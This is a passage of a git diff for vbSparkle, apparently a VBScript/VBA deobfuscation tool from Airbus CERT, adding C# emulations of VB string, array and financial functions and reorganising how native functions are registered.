VB_LCase_S(IVBScopeObject context) + : base(context, "LCase$") + { + } + } + + public class VB_UCase_S + : VB_UCase + { + public VB_UCase_S(IVBScopeObject context) + : base(context, "UCase$") + { + } + } + + public class VB_LCase + : VbNativeFunction + { + public VB_LCase(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_LCase(IVBScopeObject context) + : base(context, "LCase") { } @@ -174,24 +1719,23 @@ public override DExpression Evaluate(params DExpression[] args) string strArg; if (!Converter.TryGetStringValue(arg1, out strArg)) - { return DefaultExpression(args); - } - if (Context?.Options?.CreateObjectObserver != null) - { - Context.Options.CreateObjectObserver.CreateObjectObserved.Add(strArg.Replace("\"\"", "\"")); - } - - return DefaultExpression(args); + string str = strArg.ToLowerInvariant(); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } + } - public class VB_Shell - : VbNativeFunction + public class VB_UCase + : VbNativeFunction { - public VB_Shell(IVBScopeObject context) - : base(context, "Shell") + public VB_UCase(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_UCase(IVBScopeObject context) + : base(context, "UCase") { } @@ -202,106 +1746,244 @@ public override DExpression Evaluate(params DExpression[] args) string strArg; if (!Converter.TryGetStringValue(arg1, out strArg)) - { return DefaultExpression(args); - } - if (Context?.Options?.ShellObserver != null) - { - Context.Options.ShellObserver.ShellObserved.Add(strArg.Replace("\"\"", "\"")); - } + string str = strArg.ToUpperInvariant(); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } - return DefaultExpression(args); + } + + public class VB_Left_S + : VB_Left + { + public VB_Left_S(IVBScopeObject context) + : base(context, "Left$") + { } } - public class VB_Execute - : VbNativeFunction + public class VB_Right_S + : VB_Right { - public VB_Execute(IVBScopeObject context) - : base(context, "Execute") + public VB_Right_S(IVBScopeObject context) + : base(context, "Right$") + { + } + } + + public class VB_Left + : VbNativeFunction + { + public VB_Left(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_Left(IVBScopeObject context) + : base(context, "Left") { } + public override DExpression Evaluate(params DExpression[] args) { - DExpression arg1 = args.FirstOrDefault(); + try + { + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; - string strArg; + string strArg; - if (!Converter.TryGetStringValue(arg1, out strArg)) + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + + int count; + if (!Converter.TryGetInt32Value(arg2, out count)) + return DefaultExpression(args); + + if (count < 0) + return DefaultExpression(args); + + if (count > strArg.Length) + count = strArg.Length; + + string str = strArg.Substring(0, count); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + catch (Exception ex) { return DefaultExpression(args); } + } + } - if (Context?.Options?.ExecuteObserver != null) + public class VB_Right + : VbNativeFunction + { + public VB_Right(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_Right(IVBScopeObject context) + : base(context, "Right") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try { - Context.Options.ExecuteObserver.VBScriptExecuted.Add(strArg.Replace("\"\"", "\"")); + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + + int count; + if (!Converter.TryGetInt32Value(arg2, out count)) + return DefaultExpression(args); + + if (count < 0) + return DefaultExpression(args); + + if (count > strArg.Length) + count = strArg.Length; + + string str = strArg.Substring(strArg.Length - count); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + catch (Exception ex) + { + return DefaultExpression(args); } + } + } - return DefaultExpression(args); + + public class VB_LeftB_S + : VB_LeftB + { + public VB_LeftB_S(IVBScopeObject context) + : base(context, "LeftB$") + { } } - public class VB_Replace - : VbNativeFunction + public class VB_RightB_S + : VB_RightB { - public VB_Replace(IVBScopeObject context) - : base(context, "Replace") + public VB_RightB_S(IVBScopeObject context) + : base(context, "RightB$") + { + } + } + + public class VB_LeftB : VbNativeFunction + { + public VB_LeftB(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } + + public VB_LeftB(IVBScopeObject context) + : base(context, "LeftB") { } public override DExpression Evaluate(params DExpression[] args) { - if (args.Length < 3) - throw new Exception(); + try + { + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; - DExpression exp = args[0]; - DExpression findExp = args[1]; - DExpression replExp = args[2]; + string strArg; - string expStr; - string findStr; - string replStr; + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); - if (!Converter.TryGetStringValue(exp, out expStr)) - return DefaultExpression(args); - if (!Converter.TryGetStringValue(findExp, out findStr)) - return DefaultExpression(args); - if (!Converter.TryGetStringValue(replExp, out replStr)) - return DefaultExpression(args); + int byteCount; + if (!Converter.TryGetInt32Value(arg2, out byteCount)) + return DefaultExpression(args); - if (args.Length > 3) - { - DExpression startExp = args[3]; - } + if (byteCount < 0) + return DefaultExpression(args); - if (args.Length > 4) + // Convert the string to a byte array using Unicode encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // Ensure the byteCount does not exceed the length of the byte array + if (byteCount > byteArray.Length) + byteCount = byteArray.Length; + + // Extract the specified number of bytes + byte[] resultBytes = byteArray.Take(byteCount).ToArray(); + + // Convert the result back to a string + string result = Encoding.Unicode.GetString(resultBytes); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + catch (Exception ex) { - DExpression countExp = args[4]; + return DefaultExpression(args); } + } + } + public class VB_RightB : VbNativeFunction + { + public VB_RightB(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } - if (args.Length > 5) + public VB_RightB(IVBScopeObject context) + : base(context, "RightB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try { - DExpression compareExp = args[5]; - } + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; - string str = findStr.Equals(replStr) ? expStr : expStr.Replace(findStr, replStr); + string strArg; - return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); - } + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); - } + int byteCount; + if (!Converter.TryGetInt32Value(arg2, out byteCount)) + return DefaultExpression(args); - public class VB_Trim_S - : VB_Trim - { - public VB_Trim_S(IVBScopeObject context) - : base(context, "Trim$") - { + if (byteCount < 0) + return DefaultExpression(args); + + // Convert the string to a byte array using Unicode encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // Ensure the byteCount does not exceed the length of the byte array + if (byteCount > byteArray.Length) + byteCount = byteArray.Length; + + // Extract the specified number of bytes from the end of the byte array + byte[] resultBytes = byteArray.Skip(byteArray.Length - byteCount).Take(byteCount).ToArray(); + + // Convert the result back to a string + string result = Encoding.Unicode.GetString(resultBytes); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + catch (Exception ex) + { + return DefaultExpression(args); + } } } + public class VB_Trim : VbNativeFunction { @@ -326,7 +2008,58 @@ public override DExpression Evaluate(params DExpression[] args) string str = strArg.Trim(' '); return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } + } + + + public class VB_LTrim + : VbNativeFunction + { + public VB_LTrim(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_LTrim(IVBScopeObject context) + : base(context, "LTrim") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + + string str = strArg.TrimStart(' '); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + } + public class VB_RTrim + : VbNativeFunction + { + public VB_RTrim(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_RTrim(IVBScopeObject context) + : base(context, "RTrim") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + string str = strArg.TrimEnd(' '); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } } public class VB_Space_S : VB_Space @@ -1195,5 +2928,20 @@ internal static bool TryGetBool(DExpression arg1, out bool output) output = false; return false; } + + + public static bool TryGetArrayExpression(DExpression expr, out DArrayExpression arrayExpression) + { + if (expr is DArrayExpression) + { + arrayExpression = (DArrayExpression)expr; + return true; + } + else + { + arrayExpression = null; + return false; + } + } } } diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs index db773b7..d4888bb 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs @@ -8,7 +8,7 @@ public VbLtDouble(IVBScopeObject context, LtDoubleContext @object) : base(context, @object) { string quoted = @object.GetText(); - Value = new DMathExpression(double.Parse(quoted)); + Value = new DMathExpression(double.Parse(quoted.Replace(".",","))); } public override string Prettify() diff --git a/Sources/vbSparkle/LanguageStatements/VbInStatement.cs b/Sources/vbSparkle/LanguageStatements/VbInStatement.cs index ed8b4a5..d9e796d 100644 --- a/Sources/vbSparkle/LanguageStatements/VbInStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/VbInStatement.cs @@ -1,4 +1,7 @@ using System; +using System.Linq; +using vbSparkle.EvaluationObjects; +using vbSparkle.NativeMethods; namespace vbSparkle { @@ -33,6 +36,53 @@ internal void SetValue(DExpression dExpression) { var ide = (Statement as VB_ICS_S_VariableOrProcedureCallStatement).Identifier; Context.SetVarValue(ide, dExpression); + } + else if (Statement is VB_ICS_S_ProcedureOrArrayCallStatement) + { + try + { + var obj = (Statement as VB_ICS_S_ProcedureOrArrayCallStatement); + + if (obj.CallArgs.Count == 1) + { + var callArg = obj.CallArgs[0]; + if (callArg.Count == 1) + { + var arg = callArg[0]; + DExpression exo = arg.ValueStatement.Evaluate(); + + if (exo.IsValuable) + { + int idx; + if (Converter.TryGetInt32Value(exo, out idx)) + { + var ide = obj.Identifier; + var varObj = Context.GetIdentifiedObject(ide); + + if (varObj is VbUserVariable) + { + var arrayVar = (VbUserVariable)varObj; + DExpression supposedArray = arrayVar.CurrentValue; + if (supposedArray is DArrayExpression) + { + var arrayExp = (DArrayExpression)supposedArray; + + if (arrayExp.Items.Count > idx) + { + arrayExp[idx] = dExpression; + } + } + } + } + } + } + } + } + catch (Exception ex) + { + } + //var ide = .Identifier; + //Context.SetVarValue(ide, dExpression); } } diff --git a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs index 92c7ceb..d83ccd3 100644 --- a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Linq; using vbSparkle.EvaluationObjects; +using vbSparkle.NativeMethods; namespace vbSparkle { @@ -28,6 +29,7 @@ public VbVariableStatement(IVBScopeObject context, VBScriptParser.VariableStmtCo variable.WithEvents = WithEvents; context.DeclareVariable(variable); + } } @@ -116,9 +118,27 @@ public VbUserVariable(IVBScopeObject context, VBScriptParser.VariableSubStmtCont if (bloc.LPAREN() != null) { IsArray = true; + + if (Subscripts != null && Subscripts.SubScripts != null) + { + SubscriptsItems = Subscripts.SubScripts; + IsMultidimensional = SubscriptsItems.Length > 1; + + if (IsMultidimensional) + { + IsSimpleArray = false; + } + else + { + IsSimpleArray = SubscriptsItems[0].LBound == null; + SimpleArrayDim = SubscriptsItems[0].UBound; + } + } } + context.DeclareVariable(this); + } //public VbUserVariable(IVBScopeObject context, string identifier) @@ -137,6 +157,10 @@ public VbIdentifiedObject IdentifiedObject get { return Context.GetIdentifiedObject(Identifier); } } + public VbSubScriptStatement[] SubscriptsItems { get; } + public bool IsMultidimensional { get; } + public bool IsSimpleArray { get; } + public VBValueStatement SimpleArrayDim { get; } public override DExpression Prettify(bool partialEvaluation) { @@ -144,7 +168,22 @@ public override DExpression Prettify(bool partialEvaluation) if (IsArray) { - codeBlock += $"({Subscripts.Exp(partialEvaluation)})"; + if (IsSimpleArray) + { + DExpression dimExp = SimpleArrayDim.Evaluate(); + int arrayDim = 0; + if (dimExp.IsValuable) + { + if (Converter.TryGetInt32Value(dimExp, out arrayDim)) + { + this.Context.SetVarValue(this.Identifier, new DArrayExpression(arrayDim)); + } + } + } + + + + codeBlock += $"({Subscripts.Exp(partialEvaluation)})"; } if (IsTypeDefined) diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 334acaa..b6b0f01 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -28,6 +28,11 @@ public NativeObjectManager() Add(new VbNativeConstants(this, "vbNullString", new DSimpleStringExpression("", Encoding.Unicode, this.Options))); Add(new VbNativeConstants(this, "vbObjectError", new DMathExpression(-0x7FFC0000))); + Add(new VbNativeConstants(this, "vbUseCompareOption", new DMathExpression(-1))); + Add(new VbNativeConstants(this, "vbBinaryCompare", new DMathExpression(0))); + Add(new VbNativeConstants(this, "vbTextCompare", new DMathExpression(1))); + Add(new VbNativeConstants(this, "vbDatabaseCompare", new DMathExpression(2))); + // Strings Add(new NativeMethods.VB_Chr(this)); Add(new NativeMethods.VB_Chr_S(this)); @@ -46,45 +51,51 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "FormatDateTime")); // TODO Add(new NativeMethods.VB_MonitoringFunction(this, "FormatNumber")); // TODO Add(new NativeMethods.VB_MonitoringFunction(this, "FormatPercent")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "InStr")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "InStrB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "InStrRev")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Join")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LCase")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LCase$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Left")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Left$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LeftB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LeftB$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Len")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LenB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LTrim")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LTrim$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Mid")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Mid$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "MidB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "MidB$")); // TODO + + Add(new NativeMethods.VB_InStr(this)); + Add(new NativeMethods.VB_InStrB(this)); + Add(new NativeMethods.VB_InStrRev(this)); + Add(new NativeMethods.VB_LCase(this)); + Add(new NativeMethods.VB_LCase_S(this)); + Add(new NativeMethods.VB_UCase(this)); + Add(new NativeMethods.VB_UCase_S(this)); + Add(new NativeMethods.VB_Len(this)); + Add(new NativeMethods.VB_LenB(this)); + Add(new NativeMethods.VB_Mid(this)); + Add(new NativeMethods.VB_Mid_S(this)); + Add(new NativeMethods.VB_MidB(this)); + Add(new NativeMethods.VB_MidB_S(this)); Add(new NativeMethods.VB_Replace(this)); - Add(new NativeMethods.VB_MonitoringFunction(this, "Right")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Right$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RightB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RightB$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RTrim")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "RTrim$")); // TODO + + Add(new NativeMethods.VB_Left(this)); + Add(new NativeMethods.VB_Left_S(this)); + Add(new NativeMethods.VB_LeftB(this)); + Add(new NativeMethods.VB_LeftB_S(this)); + + Add(new NativeMethods.VB_Right(this)); + Add(new NativeMethods.VB_Right_S(this)); + Add(new NativeMethods.VB_RightB(this)); + Add(new NativeMethods.VB_RightB_S(this)); Add(new NativeMethods.VB_Space_S(this)); Add(new NativeMethods.VB_Space(this)); - Add(new NativeMethods.VB_MonitoringFunction(this, "Split")); + Add(new NativeMethods.VB_Join(this)); + Add(new NativeMethods.VB_Split(this)); + Add(new NativeMethods.VB_MonitoringFunction(this, "StrComp")); Add(new NativeMethods.VB_MonitoringFunction(this, "StrConv")); Add(new NativeMethods.VB_MonitoringFunction(this, "String")); Add(new NativeMethods.VB_MonitoringFunction(this, "String$")); Add(new NativeMethods.VB_StrReverse(this)); + + // Triming Add(new NativeMethods.VB_Trim(this)); Add(new NativeMethods.VB_Trim_S(this)); - Add(new NativeMethods.VB_MonitoringFunction(this, "UCase")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "UCase$")); // TODO + Add(new NativeMethods.VB_RTrim(this)); + Add(new NativeMethods.VB_RTrim_S(this)); + Add(new NativeMethods.VB_LTrim(this)); + Add(new NativeMethods.VB_LTrim_S(this)); // Math Add(new NativeMethods.VB_Abs(this)); @@ -100,25 +111,6 @@ public NativeObjectManager() Add(new NativeMethods.VB_Sqr(this)); Add(new NativeMethods.VB_Tan(this)); - // FileSystem - Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir$")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Dir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "EOF")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileAttr")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileCopy")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileDateTime")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FileLen")); - Add(new NativeMethods.VB_MonitoringFunction(this, "FreeFile")); - Add(new NativeMethods.VB_MonitoringFunction(this, "GetAttr")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Kill")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Loc")); - Add(new NativeMethods.VB_MonitoringFunction(this, "LOF")); - Add(new NativeMethods.VB_MonitoringFunction(this, "MkDir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Reset")); - Add(new NativeMethods.VB_MonitoringFunction(this, "RmDir")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Seek")); - Add(new NativeMethods.VB_MonitoringFunction(this, "SetAttr")); // Interaction Add(new NativeMethods.VB_MonitoringFunction(this, "AppActivate")); @@ -162,24 +154,24 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "VarType")); // Financial - Add(new NativeMethods.VB_MonitoringFunction(this, "DDB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "FV")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "IPmt")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "IRR")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "MIRR")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "NPer")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "NPV")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Pmt")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "PPmt")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "PV")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Rate")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "SLN")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "SYD")); // TODO + Add(new NativeMethods.VB_DDB(this)); + Add(new NativeMethods.VB_FV(this)); + Add(new NativeMethods.VB_IPmt(this)); + Add(new NativeMethods.VB_IRR(this)); + Add(new NativeMethods.VB_MIRR(this)); + Add(new NativeMethods.VB_NPer(this)); + Add(new NativeMethods.VB_NPV(this)); + Add(new NativeMethods.VB_Pmt(this)); + Add(new NativeMethods.VB_PPmt(this)); + Add(new NativeMethods.VB_PV(this)); + Add(new NativeMethods.VB_Rate(this)); + Add(new NativeMethods.VB_SLN(this)); + Add(new NativeMethods.VB_SYD(this)); // Arrays - Add(new NativeMethods.VB_MonitoringFunction(this, "Array")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LBound")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "UBound")); // TODO + Add(new NativeMethods.VB_Array(this)); + Add(new NativeMethods.VB_LBound(this)); + Add(new NativeMethods.VB_UBound(this)); // DateTime @@ -229,9 +221,27 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "Str$")); // TODO Add(new NativeMethods.VB_Val(this)); - // Arrays - + // Non Deterministics + // FileSystem + Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "CurDir$")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Dir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "EOF")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileAttr")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileCopy")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileDateTime")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FileLen")); + Add(new NativeMethods.VB_MonitoringFunction(this, "FreeFile")); + Add(new NativeMethods.VB_MonitoringFunction(this, "GetAttr")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Kill")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Loc")); + Add(new NativeMethods.VB_MonitoringFunction(this, "LOF")); + Add(new NativeMethods.VB_MonitoringFunction(this, "MkDir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Reset")); + Add(new NativeMethods.VB_MonitoringFunction(this, "RmDir")); + Add(new NativeMethods.VB_MonitoringFunction(this, "Seek")); + Add(new NativeMethods.VB_MonitoringFunction(this, "SetAttr")); // Specials Add(new NativeMethods.VB_Eval(this)); } diff --git a/Sources/vbSparkle/packages.config b/Sources/vbSparkle/packages.config deleted file mode 100644 index 0c51d07..0000000 --- a/Sources/vbSparkle/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/Sources/vbSparkle/vbSparkle.csproj b/Sources/vbSparkle/vbSparkle.csproj index 2dafba6..ddf17d2 100644 --- a/Sources/vbSparkle/vbSparkle.csproj +++ b/Sources/vbSparkle/vbSparkle.csproj @@ -16,11 +16,12 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR Airbus CERT, Sylvain Bruyere Airbus CERT, Sylvain Bruyere Airbus - 1.0.3 + 1.0.4.1 vbSparkle + @@ -46,10 +47,6 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR - - - -